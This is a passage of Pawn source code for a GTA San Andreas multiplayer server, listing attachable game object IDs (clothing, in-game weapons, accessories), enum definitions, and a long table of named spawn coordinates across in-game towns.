	{5, 18895, "Bandana5"},
	{5, 18896, "Bandana6"},
	//.........................
	{5, 18897, "Bandana7"},
	{5, 18898, "Bandana8"},
	{5, 18899, "Bandana9"},
	{5, 18900, "Bandana10"},
	{5, 18901, "Bandana11"},
	{5, 18902, "Bandana12"},
	//.........................
	{5, 18903, "Bandana13"},
	{5, 18904, "Bandana14"},
	{5, 18905, "Bandana15"},
	{5, 18906, "Bandana16"},
	{5, 18907, "Bandana17"},
	{5, 18908, "Bandana18"},
	//.........................
	{5, 18909, "Bandana19"},
	{5, 18910, "Bandana20"},
	{5, 395, ""},
	{5, 395, ""},
	{5, 395, ""},
	{5, 395, ""},
	//Weapons:
	{6, 325, "Flowers"},
	{6, 326, "Cane"},
	{6, 331, "Brass"},
	{6, 333, "Golf_Club"},
	{6, 334, "Night_Stick"},
	{6, 335, "Combat_Knife"},
	//.........................
	{6, 336, "Baseball_Bat"},
	{6, 337, "Shovel"},
	{6, 338, "Pool_Cue"},
	{6, 339, "Katana"},
	{6, 341, "Chainsaw"},
	{6, 342, "Frag_Grenade"},
	//.........................
	{6, 343, "Gas"},
	{6, 344, "Molotov"},
	{6, 346, "Colt_45_Pistol"},
	{6, 347, "Silenced_Pistol"},
	{6, 348, "Desert_Eagle"},
	{6, 349, "Shotgun"},
	//.........................
	{6, 350, "Sawn-Off"},
	{6, 351, "Combat"},
	{6, 352, "Uzi"},
	{6, 353, "MP5"},
	{6, 355, "AK47"},
	{6, 356, "M4"},
	//.........................
	{6, 357, "Country_Rifle"},
	{6, 358, "Sniper_Rifle"},
	{6, 359, "RPG"},
	{6, 360, "Rocket"},
	{6, 361, "Flamethrower"},
	{6, 362, "Minigun"},
	//.........................
	{6, 363, "Satchel"},
	{6, 365, "Spray_Can"},
	{6, 366, "Fire_Extinguisher"},
	{6, 367, "Camera"},
	{6, 371, "Parachute"},
	{6, 372, "Tec-9"},
	//.........................
	{6, 19626, "spade"},
	{6, 19631, "sledgehammer"},
	{6, 19348, "Cane01"},
	{6, 18890, "rake1"},
	{6, 18644, "screwdriver1"},
	{6, 18642, "taser"},
	//.........................
	{6, 18635, "gtasahammer1"},
	{6, 18634, "gtasacrowbar1"},
	{6, 395, ""},
	{6, 395, ""},
	{6, 395, ""},
	{6, 395, ""},
	//Laser
	{7, 18643, "laserpointer1"},
	{7, 19080, "laserpointer2"},
	{7, 19081, "laserpointer3"},
	{7, 19082, "laserpointer4"},
	{7, 19083, "laserpointer5"},
	{7, 19084, "laserpointer6"},
	//Other:
	{8, 19421, "headphones01"},
	{8, 19422, "headphones02"},
	{8, 19423, "headphones03"},
	{8, 19424, "headphones04"},
	{8, 19469, "scarf01"},
	{8, 19472, "gasmask01"},
	//.........................
	{8, 19515, "SWATAgrey"},
	{8, 19085, "EyePatch1"},
	{8, 18641, "Flashlight1"},
	{8, 18637, "PoliceShield1"},
	{8, 18642, "Taser1"},
	{8, 18963, "CJElvisHead"},
	//.........................
	{8, 19078, "TheParrot1"},
	{8, 19314, "bullhorns01"},
	{8, 19317, "bassguitar01"},
	{8, 19318, "flyingv01"},
	{8, 19319, "warlock01"},
	{8, 19347, "badge01"},
	//.........................
	{8, 19559, "HikerBackpack1"},
	{8, 19610, "Microphone1"},
	{8, 19590, "WooziesSword1"},
	{8, 19625, "Ciggy1"},
	{8, 19942, "PoliceRadio1"},
	{8, 19578, "Banana"},
	//.........................
	{8, 373, "Armour"},
	{8, 2404, "surf_board"},
	{8, 2405, "surf_board"},
	{8, 2406, "surf_board"},
	{8, 2410, "surf_board"},
	{8, 11712, "Cross"},
	//.........................
	{8, 19591, "woozieshandfan"},
	{8, 19592, "shopbasket"},
	{8, 19622, "broom"},
	{8, 19804, "padlock"},
	{8, 19878, "skateboard"},
	{8, 19904, "constructionvest"},
	//.........................
	{8, 19527, "cauldron"},
	{8, 19351, "moustache02"},
	{8, 19350, "moustache01"},
	{8, 18646, "PoliceLight1"},
	{8, 19624, "case1"},
	{8, 19621, "oilcan1"},
	//.........................
	{8, 19418, "handcuffs01"},
	{8, 19320, "pumpkin01"},
	{8, 19306, "Flag1"},
	{8, 19555, "boxingglovel"},
	{8, 19556, "boxingglover"},
	{8, 18632, "fishingrod"}
	//.........................
	/*{7, , ""},
	{7, , ""},
	{7, , ""},
	{7, , ""},
	{7, , ""},
	{7, , ""}*/
};
enum ToysStudioenum
{
	Enable,
	LastSelect,
	WhoPage,
	WhoType,
	WhoSlot,
	tobject,
	obone,
	Float:tX,
	Float:tY,
	Float:tZ,
	Float:trX,
	Float:trY,
	Float:trZ,
	Float:tsX,
	Float:tsY,
	Float:tsZ,
	colorx1,
	colorx2

};
enum PlayerPhoneInfo
{
LastNumberUse,
LastPmWrited[256],
LastReply
};
enum attached_object_data
{
    ao_model,
    ao_slot,
	ao_enable,
    ao_bone,
    Float:ao_x,
    Float:ao_y,
    Float:ao_z,
    Float:ao_rx,
    Float:ao_ry,
    Float:ao_rz,
    Float:ao_sx,
    Float:ao_sy,
    Float:ao_sz,
    colorx1,
    colorx2
};
new Float:MBSPAWN[][mbinfo] =
{
  //         X            Y           Z      LocationName
		{713.073852, 912.842224, -19.096578, "The Quarry"},
		{688.145507, 844.974914, -28.631895, "The Quarry"},
		{586.370788, 913.020202, -34.194843, "The Quarry"},
		{503.419708, 970.914550, -24.997589, "The Quarry"},
		{499.296356, 971.732788, -25.047336, "The Quarry"},
		{458.502136, 891.120666, -27.374114, "The Quarry"},
		{628.248901, 735.500732, -0.903092, "The Quarry"},
		{627.924438, 1046.961303, 25.122577, "The Quarry"},
		{792.460510, 915.044189, 20.112213, "The Quarry"},
		{320.508636, 848.626281, 19.967500, "The Quarry"},
		{361.191741, 829.137329, 21.289638, "The Quarry"},
		{462.726348, 973.174621, 5.403401, "The Quarry"},
		{484.878112, 962.291137, 5.981633, "The Quarry"},
		{591.441650, 706.663513, 9.760972, "The Quarry"},
		{770.800415, 746.815368, 27.704566, "The Quarry"},
		{434.217102, 898.344543, 2.117520, "The Quarry"},
		{488.367218, 810.184814, 1.804343, "The Quarry"},
		{528.185913, 816.695800, -11.858360, "The Quarry"},
		{568.221130, 824.427429, -22.127143, "The Quarry"},
		{575.399353, 872.569091, -35.329307, "The Quarry"},
		{623.156188, 892.809875, -41.102825, "The Quarry"},
		{418.428070, 1409.390625, 8.565642, "The Petroleum"},
		{475.849548, 1325.585083, 11.321235, "The Petroleum"},
		{541.844848, 1556.681152, 0.482253, "The Petroleum"},
		{597.308898, 1535.999389, 3.586513, "The Petroleum"},
		{669.860534, 1422.952880, 10.887602, "The Petroleum"},
		{559.382812, 1371.361328, 16.322978, "The Petroleum"},
		{438.514587, 1268.192016, 9.017544, "The Petroleum"},
		{585.843322, 1485.281738, 12.073791, "The Petroleum"},
		{229.331573, 1478.390502, 10.151371, "Green Palms"},
		{152.056015, 1447.338256, 10.156622, "Green Palms"},
		{133.937881, 1377.117065, 10.158605, "Green Palms"},
		{205.768768, 1352.408081, 10.151306, "Green Palms"},
		{210.495468, 1395.340332, 10.151283, "Green Palms"},
		{215.108322, 1467.936157, 14.921875, "Green Palms"},
		{215.115737, 1467.059326, 23.734375, "Green Palms"},
		{187.969940, 1371.305786, 23.734375, "Green Palms"},
		{246.766662, 1360.596679, 10.707500, "Green Palms"},
		{246.478836, 1362.749633, 23.370285, "Green Palms"},
		{222.136520, 1424.068847, 10.585937, "Green Palms"},
		{95.363838, 1831.129028, 17.205287, "Area 69"},
		{189.325698, 1940.272949, 17.213102, "Area 69"},
		{193.302978, 1940.295654, 17.212646, "Area 69"},
		{261.569244, 1807.425537, 25.498508, "Area 69"},
		{201.875762, 1873.929809, 12.774854, "Area 69"},
		{238.924987, 1863.955078, 11.460937, "Area 69"},
		{221.148391, 1822.212890, 7.531250, "Area 69"},
		{245.811523, 1813.676025, 4.710937, "Area 69"},
		{257.617523, 1819.045043, 1.007812, "Area 69"},
		{280.195648, 1840.170532, 11.534780, "Area 69"},
		{282.369171, 1874.492065, 8.757812, "Area 69"},
		{266.978424, 1858.773071, 8.757812, "Area 69"},
		{262.194854, 1886.633789, -30.390625, "Area 69"},
		{268.940002, 1883.556152, -30.093750, "Area 69"},
		{268.277374, 1891.600708, -12.862023, "Area 69"},
		{268.972656, 1876.503906, -3.470956, "Area 69"},
		{275.735778, 1892.228881, 8.437500, "Area 69"},
		{246.438491, 1830.403930, 12.210659, "Area 69"},
		{134.512237, 1952.987426, 18.978763, "Area 69"},
		{-41.510822, 1178.722290, 18.961349, "Fort Carson"},
		{2.213922, 1119.721435, 19.450517, "Fort Carson"},
		{17.874195, 1076.159057, 19.804994, "Fort Carson"},
		{-95.816307, 1164.927001, 19.312730, "Fort Carson"},
		{-100.357772, 1127.539672, 19.323959, "Fort Carson"},
		{-117.773254, 1132.638061, 19.326152, "Fort Carson"},
		{-190.864791, 1218.766357, 19.306653, "Fort Carson"},
		{-218.729446, 1147.502807, 19.328531, "Fort Carson"},
		{-378.680541, 1103.303466, 19.314443, "Fort Carson"},
		{-312.767395, 1175.458740, 19.307266, "Fort Carson"},
		{-209.111099, 1216.520629, 23.436161, "Fort Carson"},
		{-170.258102, 1176.971801, 24.155366, "Fort Carson"},
		{-172.726379, 1182.572753, 26.504249, "Fort Carson"},
		{-824.523559, 1444.919677, 13.547593, "Las Barrancas"},
		{-811.227539, 1479.601074, 26.136028, "Las Barrancas"},
		{-778.594482, 1477.787719, 28.764667, "Las Barrancas"},
		{-801.825866, 1513.152099, 21.131435, "Las Barrancas"},
		{-730.415039, 1539.924682, 40.065593, "Las Barrancas"},
		{-733.456970, 1553.795654, 39.189163, "Las Barrancas"},
		{-737.410278, 1593.716186, 26.656929, "Las Barrancas"},
		{-774.510375, 1616.915771, 26.687776, "Las Barrancas"},
		{-835.524841, 1597.141967, 26.505504, "Las Barrancas"},
		{-888.960021, 1553.529907, 25.501276, "Las Barrancas"},
		{-862.112548, 1536.867919, 25.737701, "Las Barrancas"},
		{-856.268554, 1528.398559, 25.737701, "Las Barrancas"},
		{-303.303192, 2744.042236, 61.440700, "Las Payasadas"},
		{-210.072189, 2814.655273, 64.240028, "Las Payasadas"},
		{-164.061630, 2767.596435, 62.252616, "Las Payasadas"},
		{-166.319808, 2730.175537, 65.696540, "Las Payasadas"},
		{-213.414306, 2719.982177, 62.687500, "Las Payasadas"},
		{-287.109222, 2687.127441, 65.852340, "Las Payasadas"},
		{-268.482818, 2667.310546, 62.670055, "Las Payasadas"},
		{-282.033843, 2651.087402, 67.323928, "Las Payasadas"},
		{-307.318756, 2652.917236, 68.252456, "Las Payasadas"},
		{-237.491958, 2663.685546, 63.858531, "Las Payasadas"},
		{-153.610809, 2711.833984, 62.144855, "Las Payasadas"},
		{-235.506256, 2826.033935, 61.760990, "Las Payasadas"},
		{123.295402, 2427.276123, 16.638261, "Verdant Meadows"},
		{152.007369, 2417.473388, 19.140531, "Verdant Meadows"},
		{209.578689, 2415.689697, 16.322700, "Verdant Meadows"},
		{237.976455, 2432.690185, 16.626625, "Verdant Meadows"},
		{276.434844, 2430.887695, 16.041940, "Verdant Meadows"},
		{313.228027, 2415.748046, 19.511663, "Verdant Meadows"},
		{349.762481, 2451.393310, 20.452396, "Verdant Meadows"},
		{412.917022, 2432.326904, 16.054676, "Verdant Meadows"},
		{435.414642, 2561.705078, 16.089130, "Verdant Meadows"},
		{414.310363, 2533.625732, 19.148437, "Verdant Meadows"},
		{401.180969, 2544.245849, 19.631122, "Verdant Meadows"},
		{390.938781, 2607.264160, 16.049514, "Verdant Meadows"},
		{334.645782, 2677.588867, 15.882289, "Verdant Meadows"},
		{306.708404, 2629.444335, 16.256523, "Verdant Meadows"},
		{271.063079, 2611.989257, 16.041421, "Verdant Meadows"},
		{172.383773, 2606.412597, 16.116966, "Verdant Meadows"},
		{154.106018, 2630.396240, 16.041749, "Verdant Meadows"},
		{115.394462, 2631.614501, 15.986257, "Verdant Meadows"},
		{104.371681, 2582.203613, 16.044742, "Verdant Meadows"},
		{14.670138, 2560.055419, 15.932084, "Verdant Meadows"},
		{9.903661, 2435.500732, 16.019382, "Verdant Meadows"},
		{-2452.078125, 2438.356933, 14.555831, "Bayside"},
		{-2417.809570, 2456.555908, 25.779113, "Bayside"},
		{-2406.699462, 2469.222656, 12.183320, "Bayside"},
		{-2415.591552, 2386.210205, 7.998282, "Bayside"},
		{-2386.701904, 2398.892578, 8.845354, "Bayside"},
		{-2407.274902, 2477.111816, 11.345425, "Bayside"},
		{-2403.085449, 2553.951904, 23.601562, "Bayside"},
		{-2286.216552, 2572.171142, 23.416145, "Bayside"},
		{-2262.795410, 2573.447753, 8.214822, "Bayside"},
		{-2675.145996, 2322.950927, 25.147560, "Bayside"},
		{-2336.536376, 2480.192138, 1.275272, "Bayside"},
		{-2625.399658, 2245.826171, 6.694106, "Bayside"},
		{-2634.328125, 2240.306152, 14.622048, "Bayside"},
		{-2627.168457, 2234.247070, 12.825107, "Bayside"},
		{-2629.958984, 2243.830566, 12.611998, "Bayside"},
		{-2624.168212, 2245.396972, 6.268455, "Bayside"},
		{-2551.672851, 2432.413330, 18.866594, "Bayside"},
		{-2293.487060, 2225.002685, 4.982191, "Bayside"},
		{-2578.585693, 2520.823730, 21.721471, "Bayside"},
		{-2497.177978, 2455.601562, 17.332534, "Bayside"},
		{-2299.505859, 2277.234619, 4.978750, "Bayside"},
		{-2353.547119, 2430.278320, 7.510148, "Bayside"},
		{1316.041870, 275.046447, 31.049236, "Montgomery"},
		{1304.498779, 150.734161, 23.841037, "Montgomery"},
		{1424.074584, 234.264190, 19.554687, "Montgomery"},
		{1397.934692, 289.888427, 23.555511, "Montgomery"},
		{1377.866699, 317.458984, 19.554687, "Montgomery"},
		{1236.187255, 304.846252, 24.757812, "Montgomery"},
		{1239.561157, 288.248535, 25.755512, "Montgomery"},
		{1264.523315, 269.752105, 22.237289, "Montgomery"},
		{1283.437011, 264.630554, 23.762454, "Montgomery"},
		{1352.665161, 199.973419, 19.554687, "Montgomery"},
		{1363.234741, 195.539321, 23.227035, "Montgomery"},
		{1417.051757, 260.263885, 24.656915, "Montgomery"},
		{1414.501342, 363.570312, 19.164152, "Montgomery"},
		{1397.685424, 357.668762, 19.415740, "Montgomery"},
		{1374.767822, 366.475738, 21.055135, "Montgomery"},
		{1291.057983, 392.483947, 19.531446, "Montgomery"},
		{1282.783935, 385.586151, 27.555513, "Montgomery"},
		{1238.631103, 370.964813, 27.555509, "Montgomery"},
		{1183.289062, 230.991256, 19.561769, "Montgomery"},
		{1224.791137, 246.335128, 23.282218, "Montgomery"},
		{1270.518188, 240.601501, 31.107307, "Montgomery"},
		{1266.207519, 234.240051, 25.048685, "Montgomery"},
		{1290.146484, 300.298248, 28.560659, "Montgomery"},
		{198.153564, -189.123001, 7.578125, "Blueberry"},
		{244.182067, -312.091217, 1.578125, "Blueberry"},
		{377.058685, -126.040382, 1.282783, "Blueberry"},
		{331.945190, -21.335258, 8.999382, "Blueberry"},
		{270.666198, 25.962350, 7.423792, "Blueberry"},
		{269.469726, -39.207118, 2.076274, "Blueberry"},
		{249.126205, -55.748535, 2.778613, "Blueberry"},
		{200.529525, -2.403444, 1.585840, "Blueberry"},
		{151.374862, -112.419876, 8.206827, "Blueberry"},
		{186.791824, -97.364349, 4.896471, "Blueberry"},
		{294.001983, -195.634521, 7.138307, "Blueberry"},
		{79.888191, -172.170288, 3.240008, "Blueberry"},
		{90.263679, -196.305435, 1.484375, "Blueberry"},
		{307.548217, -256.133117, 1.583575, "Blueberry"},
		{130.356811, -65.668479, 1.578125, "Blueberry"},
		{201.947799, -107.787826, 1.552092, "Blueberry"},
		{251.443710, -59.984920, 5.882812, "Blueberry"},
		{338.868713, 39.111991, 6.514575, "Blueberry"},
		{233.187500, 88.724472, 3.707660, "Blueberry"},
		{271.035064, -325.480102, 4.109173, "Blueberry"},
		{258.287322, -91.798759, 6.548583, "Blueberry"},
		{660.309570, -515.073425, 22.836296, "Dillimore"},
		{681.892456, -471.186981, 24.570465, "Dillimore"},
		{720.187500, -460.116394, 23.195312, "Dillimore"},
		{766.745727, -565.935180, 18.013334, "Dillimore"},
		{766.601135, -565.742553, 18.013334, "Dillimore"},
		{795.740600, -498.457305, 18.013332, "Dillimore"},
		{830.493530, -483.307739, 17.335937, "Dillimore"},
		{822.035034, -539.921508, 23.336297, "Dillimore"},
		{806.729309, -644.110595, 16.335937, "Dillimore"},
		{837.977600, -618.451599, 16.427936, "Dillimore"},
		{872.614746, -589.113098, 17.975578, "Dillimore"},
		{618.945983, -495.678375, 17.036308, "Dillimore"},
		{613.239624, -511.376983, 20.336296, "Dillimore"},
		{668.560424, -565.262573, 20.646862, "Dillimore"},
		{655.586303, -565.002868, 22.147821, "Dillimore"},
		{663.681518, -552.116699, 16.335937, "Dillimore"},
		{666.731262, -624.085144, 16.335937, "Dillimore"},
		{659.283569, -649.963623, 16.335937, "Dillimore"},
		{714.395568, -638.833496, 15.661087, "Dillimore"},
		{706.086425, -513.023925, 19.836296, "Dillimore"},
		{697.977600, -502.530029, 20.336296, "Dillimore"},
		{2252.387695, -71.207305, 31.594974, "Palimino Creek"},
		{2256.675292, -51.222541, 33.039546, "Palimino Creek"},
		{2280.761474, -43.499469, 33.915302, "Palimino Creek"},
		{2331.433349, -16.148464, 29.984375, "Palimino Creek"},
		{2307.091796, 42.845218, 26.484375, "Palimino Creek"},
		{2312.534423, 81.270088, 34.412147, "Palimino Creek"},
		{2282.645019, 80.523757, 34.983432, "Palimino Creek"},
		{2270.598876, 52.587516, 29.983432, "Palimino Creek"},
		{2237.241210, -146.453750, 25.870410, "Palimino Creek"},
		{2294.017333, -133.607147, 28.153959, "Palimino Creek"},
		{2290.864501, -125.560646, 31.281974, "Palimino Creek"},
		{2494.198486, 84.268798, 26.484375, "Palimino Creek"},
		{2522.718505, -35.541027, 27.843750, "Palimino Creek"},
		{2371.754638, 166.031631, 28.441642, "Palimino Creek"},
		{2221.037597, 187.976211, 26.053337, "Palimino Creek"},
		{2175.741210, -96.308731, 25.773351, "Palimino Creek"},
		{2194.704589, -51.970607, 27.476959, "Palimino Creek"},
		{2521.830566, 147.489349, 26.660923, "Palimino Creek"},
		{2503.659667, 138.658645, 26.476562, "Palimino Creek"},
		{2385.197021, 132.599624, 26.477228, "Palimino Creek"},
		{2497.073974, 73.162178, 26.484375, "Palimino Creek"},
		{1113.000366, -298.941436, 79.273048, "Hilltop Farms"},
		{1145.276123, -319.449951, 68.736564, "Hilltop Farms"},
		{1139.270874, -279.303375, 68.293548, "Hilltop Farms"},
		{1109.191650, -254.074951, 73.178703, "Hilltop Farms"},
		{1074.967651, -290.027832, 76.994865, "Hilltop Farms"},
		{1045.733276, -292.704284, 77.359375, "Hilltop Farms"},
		{1038.980712, -314.385131, 73.993080, "Hilltop Farms"},
		{1019.215393, -280.257232, 73.992187, "Hilltop Farms"},
		{1017.502319, -291.644531, 77.359375, "Hilltop Farms"},
		{1025.220092, -286.122772, 73.993080, "Hilltop Farms"},
		{1008.152404, -361.344543, 73.992187, "Hilltop Farms"},
		{1031.137329, -286.081237, 73.992187, "Hilltop Farms"},
		{-91.739074, 47.309322, 3.117187, "Blueberry Acres"},
		{-59.916896, 110.778358, 3.117187, "Blueberry Acres"},
		{-21.062276, 101.820167, 3.117187, "Blueberry Acres"},
		{-39.467891, 54.310203, 3.117187, "Blueberry Acres"},
		{-57.822875, 58.630420, 12.634796, "Blueberry Acres"},
		{6.610152, -116.727790, 0.827577, "Blueberry Acres"},
		{-234.935729, -49.896484, 3.117187, "Blueberry Acres"},
		{-63.104183, -42.047443, 3.117187, "Blueberry Acres"},
		{-101.163230, -42.706863, 3.960474, "Blueberry Acres"},
		{-65.395072, -79.674530, 3.117187, "Blueberry Acres"},
		{-71.846885, 16.072692, 4.960474, "Blueberry Acres"},
		{-115.097801, -158.043121, 3.053518, "Blueberry Acres"},
		{-74.329200, 134.758972, 3.117187, "Blueberry Acres"},
		{-180.387710, 158.206222, 6.585262, "Blueberry Acres"},
		{43.705768, 31.582788, 2.406414, "Blueberry Acres"},
		{-120.041000, -101.572135, 3.118082, "Blueberry Acres"},
		{-97.865242, 3.703858, 6.140625, "Blueberry Acres"},
		{-141.913879, -45.108047, 3.117187, "Blueberry Acres"},
		{-96.231872, -43.475280, 6.484375, "Blueberry Acres"},
		{-614.443786, 151.758407, 25.818775, "The Panopticon"},
		{-526.496093, 58.226322, 50.909709, "The Panopticon"},
		{-472.907379, -169.445770, 78.210937, "The Panopticon"},
		{-735.953918, 57.285392, 26.305458, "The Panopticon"},
		{-546.440124, -61.437793, 63.233062, "The Panopticon"},
		{-710.849609, -206.753967, 69.553245, "The Panopticon"},
		{-436.740875, -59.873924, 58.875000, "The Panopticon"},
		{-751.409790, -114.402214, 67.739364, "The Panopticon"},
		{-925.530151, -124.350387, 57.936649, "The Panopticon"},
		{-400.126495, 236.726394, 9.927101, "The Panopticon"},
		{-520.779357, -125.374198, 69.994155, "The Panopticon"},
		{-561.900878, -178.898284, 78.413543, "The Panopticon"},
		{-539.732116, -161.536758, 78.206115, "The Panopticon"},
		{-532.769287, -177.417663, 84.258483, "The Panopticon"},
		{-389.482971, -211.937072, 59.564701, "The Panopticon"},
		{-406.703948, -1449.153686, 26.062500, "Flint Range"},
		{-396.805908, -1426.215209, 38.644241, "Flint Range"},
		{-365.578216, -1413.950805, 29.640625, "Flint Range"},
		{-364.751220, -1434.614501, 25.726562, "Flint Range"},
		{-584.598876, -1482.920043, 11.257370, "Flint Range"},
		{-558.555603, -1289.688232, 24.061843, "Flint Range"},
		{-210.887054, -1339.520751, 11.636716, "Flint Range"},
		{-203.383239, -1279.539794, 7.933257, "Flint Range"},
		{-370.022949, -1469.212768, 25.726562, "Flint Range"},
		{-257.378387, -1502.086059, 6.142509, "Flint Range"},
		{-329.254211, -1537.986083, 14.820620, "Flint Range"},
		{-370.188598, -1416.738281, 25.726562, "Flint Range"},
		{-468.467102, -1423.658813, 17.497291, "Flint Range"},
		{-366.230377, -1425.508422, 36.910018, "Flint Range"},
		{-438.425720, -1307.287841, 34.957294, "Flint Range"},
		{-326.334747, -1312.265869, 9.666571, "Flint Range"},
		{-2508.313232, -675.049499, 139.320312, "Missionary Hill"},
		{-2528.568359, -700.439453, 141.788848, "Missionary Hill"},
		{-2438.275146, -464.318084, 91.305053, "Missionary Hill"},
		{-2543.994384, -783.435424, 69.258705, "Missionary Hill"},
		{-2693.597412, -752.083862, 51.020137, "Missionary Hill"},
		{-2600.115478, -547.044921, 86.723999, "Missionary Hill"},
		{-2314.386230, -888.267517, 7.742542, "Missionary Hill"},
		{-2322.930664, -655.598815, 107.419876, "Missionary Hill"},
		{-2324.206054, -683.263916, 104.464118, "Missionary Hill"},
		{-2394.915283, -468.217041, 87.153312, "Missionary Hill"},
		{-2631.078613, -596.495971, 90.808830, "Missionary Hill"},
		{-2542.992431, -656.802001, 139.079116, "Missionary Hill"},
		{-2432.825439, -391.364898, 69.389305, "Missionary Hill"},
		{-2617.927001, -749.242065, 74.848922, "Missionary Hill"},
		{-2175.949951, -2417.699218, 34.296875, "Angel Pine"},
		{-2161.742919, -2453.351562, 37.592113, "Angel Pine"},
		{-2147.736572, -2461.206787, 30.851562, "Angel Pine"},
		{-2090.979492, -2469.472900, 33.924186, "Angel Pine"},
		{-2053.039306, -2544.468261, 31.066806, "Angel Pine"},
		{-2132.012939, -2433.635986, 39.040298, "Angel Pine"},
		{-2182.593994, -2428.734375, 35.523437, "Angel Pine"},
		{-2224.829833, -2396.499511, 35.533672, "Angel Pine"},
		{-2243.295654, -2359.313720, 30.750513, "Angel Pine"},
		{-2191.753173, -2345.898437, 35.007812, "Angel Pine"},
		{-2178.140625, -2314.520019, 37.743614, "Angel Pine"},
		{-2199.897949, -2243.446044, 33.320312, "Angel Pine"},
		{-2186.412353, -2245.995605, 30.721515, "Angel Pine"},
		{-2081.464843, -2254.676025, 37.810462, "Angel Pine"},
		{-2139.485839, -2263.617675, 37.106971, "Angel Pine"},
		{-2130.179931, -2362.220703, 37.803909, "Angel Pine"},
		{-2245.683837, -2489.593261, 30.939933, "Angel Pine"},
		{-2115.936523, -2417.141113, 31.226562, "Angel Pine"},
		{-2293.220947, -2449.365478, 25.740257, "Angel Pine"},
		{-1972.621704, -2409.536376, 36.779953, "Angel Pine"},
		{-2034.074829, -2350.098144, 40.890625, "Angel Pine"},
		{-2101.847412, -2341.794677, 34.820312, "Angel Pine"},
		{-1181.246826, -1169.744262, 129.218750, "The Farm"},
		{-1064.526367, -1202.956298, 136.825164, "The Farm"},
		{-1073.703247, -1236.239135, 129.218750, "The Farm"},
		{-960.019836, -969.289123, 136.249679, "The Farm"},
		{-1178.073120, -1139.615356, 129.218750, "The Farm"},
		{-1086.143554, -1304.293945, 129.218750, "The Farm"},
		{-1099.003295, -971.934814, 129.218750, "The Farm"},
		{-1062.486328, -913.190063, 129.211929, "The Farm"},
		{-1186.598144, -1138.081909, 132.746429, "The Farm"},
		{-1087.829833, -1084.395629, 129.218750, "The Farm"},
		{-1004.356140, -1013.866821, 129.218750, "The Farm"},
		{-1033.648925, -1068.210327, 129.218750, "The Farm"},
		{-1019.635437, -1153.692138, 129.218750, "The Farm"},
		{-1026.010375, -1183.257690, 129.218750, "The Farm"},
		{-1007.072387, -1296.862426, 132.661285, "The Farm"},
		{-1124.512817, -1222.314208, 129.218750, "The Farm"},
		{-1087.444824, -1677.984130, 76.373939, "Leafy Hallows"},
		{-1087.494018, -1678.885498, 76.373939, "Leafy Hallows"},
		{-1091.211059, -1663.834472, 76.367187, "Leafy Hallows"},
		{-1108.562622, -1634.623657, 80.057617, "Leafy Hallows"},
		{-1078.178222, -1607.183349, 76.367187, "Leafy Hallows"},
		{-1130.027343, -1606.987304, 76.367187, "Leafy Hallows"},
		{-1112.752685, -1621.049194, 86.261589, "Leafy Hallows"},
		{-1097.599121, -1627.398681, 76.367187, "Leafy Hallows"},
		{-946.533935, -1746.916137, 76.381385, "Leafy Hallows"},
		{-927.683105, -1701.916503, 77.025894, "Leafy Hallows"},
		{-923.776733, -1757.801513, 75.444259, "Leafy Hallows"},
		{-905.625366, -1730.898193, 78.139099, "Leafy Hallows"},
		{-1128.219360, -1696.092529, 76.558853, "Leafy Hallows"},
		{-1026.914428, -1733.098632, 76.425018, "Leafy Hallows"},
		{-1137.569824, -1630.458251, 76.367187, "Leafy Hallows"},
		{-1094.567626, -1663.774780, 76.367187, "Leafy Hallows"},
		{-1043.661254, -1621.000000, 76.367187, "Leafy Hallows"},
		{-907.789489, -1669.016723, 92.697944, "Leafy Hallows"},
		{2556.437744, -644.786804, 137.252746, "North Rock"},
		{2514.413818, -716.559753, 101.872634, "North Rock"},
		{2443.473388, -657.824401, 121.906684, "North Rock"},
		{2612.934814, -497.000335, 78.922164, "North Rock"},
		{2657.899414, -602.413452, 84.188896, "North Rock"},
		{2683.218017, -516.679077, 65.786819, "North Rock"},
		{2627.179199, -666.909179, 128.962661, "North Rock"},
		{2759.122314, -633.098876, 60.327945, "North Rock"},
		{2356.232910, -558.502868, 120.259140, "North Rock"},
		{2558.949218, -523.134826, 86.272521, "North Rock"},
		{-1012.700317, -754.431518, 32.007812, "Easter Bay Chemicals"},
		{-1095.468139, -629.071044, 34.089599, "Easter Bay Chemicals"},
		{-1109.042358, -601.289489, 34.089599, "Easter Bay Chemicals"},
		{-1074.046508, -600.883239, 34.089599, "Easter Bay Chemicals"},
		{-1112.463256, -748.833557, 32.007812, "Easter Bay Chemicals"},
		{-996.942810, -720.715209, 35.937500, "Easter Bay Chemicals"},
		{-987.252502, -716.223449, 35.901714, "Easter Bay Chemicals"},
		{-1037.941650, -697.023925, 32.007812, "Easter Bay Chemicals"},
		{-972.693725, -719.797607, 37.171875, "Easter Bay Chemicals"},
		{-1057.215332, -758.628417, 37.171875, "Easter Bay Chemicals"},
		{-1127.549194, -701.471435, 32.007812, "Easter Bay Chemicals"},
		{-973.345092, -635.038330, 32.007812, "Easter Bay Chemicals"},
		{-1099.870605, -696.740661, 32.351562, "Easter Bay Chemicals"},
		{-1057.206665, -634.323059, 35.493179, "Easter Bay Chemicals"},
		{-1017.676330, -704.239746, 32.007812, "Easter Bay Chemicals"},
		{-1525.973999, 2652.515136, 59.711399, "El Quebrados"},
		{-1507.893920, 2626.360107, 59.233432, "El Quebrados"},
		{-1530.962646, 2590.045654, 60.793697, "El Quebrados"},
		{-1481.348388, 2618.711181, 62.335689, "El Quebrados"},
		{-1416.942138, 2582.434082, 62.005947, "El Quebrados"},
		{-1437.265258, 2559.354248, 55.835937, "El Quebrados"},
		{-1459.728881, 2616.084960, 55.835937, "El Quebrados"},
		{-1452.608764, 2640.138183, 55.835937, "El Quebrados"},
		{-1463.314697, 2720.380126, 65.580146, "El Quebrados"},
		{-1550.759765, 2701.973876, 55.835937, "El Quebrados"},
		{-1567.961425, 2714.753662, 59.495937, "El Quebrados"},
		{-1591.316162, 2639.252685, 54.892074, "El Quebrados"},
		{-1564.054321, 2561.529541, 66.368583, "El Quebrados"},
		{-1593.676757, 2562.781250, 68.570213, "El Quebrados"},
		{-1461.241210, 2653.424804, 58.912673, "El Quebrados"},
		{-1470.498413, 2554.702636, 55.835937, "El Quebrados"},
		{-1579.125488, 2641.298095, 55.835937, "El Quebrados"},
		{-1521.946166, 2709.298339, 55.835937, "El Quebrados"},
		{-828.082336, 2661.674560, 104.945419, "Valle Ocultado"},
		{-835.934020, 2659.769775, 96.975189, "Valle Ocultado"},
		{-831.431640, 2695.995361, 53.576766, "Valle Ocultado"},
		{-803.072448, 2695.158203, 67.962074, "Valle Ocultado"},
		{-799.726013, 2704.947265, 47.416099, "Valle Ocultado"},
		{-788.210693, 2694.006103, 48.357761, "Valle Ocultado"},
